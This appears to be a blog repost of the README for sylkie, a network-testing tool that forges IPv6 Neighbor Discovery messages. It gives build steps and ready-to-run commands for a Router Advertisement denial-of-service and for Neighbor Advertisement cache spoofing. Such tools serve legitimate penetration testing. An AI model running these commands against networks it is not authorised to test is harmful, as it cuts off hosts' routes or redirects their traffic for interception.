sylkie: IPv6 address spoofing with the Neighbor Discovery Protocol

by do son ·

sylkie

sylkie

A command line tool and library for testing networks for common address spoofing security vulnerabilities in IPv6 networks using the Neighbor Discovery Protocol.

Build
Get the code and compile it!

# Get the code
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie

# Compile the code
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install

Basic usage

The following describes the basic usage of sylkie. Run sylkie -h or sylkie <subcommand> -h for more details or check out advanced Usage for more examples.

Note: sylkie uses raw sockets to send the forged advertisements. As a result, the executable must either have the setuid bit set, or it must be run as root.

DoS (Router Advert)

The basic usage of the router-advert command is listed below. This command will send a Router Advertisement message to the given ip or the all nodes multicast addres causing the targeted nodes to remove <router-ip>/<prefix> from their list of default routes.

sylkie ra -i <interface> \

    --target-mac <mac of router> \

    --router-ip <ip of router> \

    --prefix <router prefix> \

    --timeout <time between adverts> \

    --repeat <number of times to send the request>

 

Router Advert Examples

A basic example.

sylkie ra -i ens3 \

    --target-mac 52:54:00:e3:f4:06 \

    --router-ip fe80::b95b:ee1:cafe:9720 \

    --prefix 64 \

    --repeat -1 \

    --timeout 10

 

This would send a “forged” Router Advertisement to the link local scope all-nodes address ff02::1 causing all of the nodes to remove fe80::b95b:ee1:cafe:9720/64 (link-layer address 52:54:00:e3:f4:06) from their list of default routes.

Address spoofing (Neighbor Advert)

The basic usage of the sylkie neighbor advert command is listed below. This command will send a forged Neighbor Advertisement message to the given ip.

sylkie na -i <interface> \

    --dst-mac <dest hw addr> \

    --src-ip <source ip> \

    --dst-ip <dest ip address> \

    --target-ip <target ip address> \

    --target-mac <target mac address> \

    --timeout <time betweeen adverts> \

    --repeat <number of times to send the request>

 

Neighbor Advert examples

A basic example

sylkie na -i ens3 \

    --dst-mac 52:54:00:e3:f4:06 \

    --src-ip fe80::61ad:fda3:3032:f6f4 \

    --dst-ip fe80::b95b:ee1:cafe:9720 \

    --target-ip fe80::61ad:fda3:3032:f6f4 \

    --target-mac 52:54:00:c2:a7:7c \

    --repeat -1 \

    --timeout 3

 

This would send a “forged” Neighbor Advertisement message to dst-ip (fe80::b95b:ee1:cafe:9720), causing the hardware address in the neighbor cache for the target-ip (fe80::61ad:fda3:3032:f6f4) to be updated to the target-mac(52:54:00:c2:a7:7c).

Saving your work

The commands above require quite a bit of info. To make life easier sylkie also accepts json and plaintext files containing the necessary info to start sending the forged advertisements.

JSON

The subcommand (router-advert, neighbor-advert) is a key whose value is an array of objects with the keys and values being the corresponding option and value. To run the command, pass the path to the json file as the argument to the -joption.

Copyright (c) 2017 Daniel L. Robertson

Source: https://github.com/dlrobertson

Tags: IPv6sylkie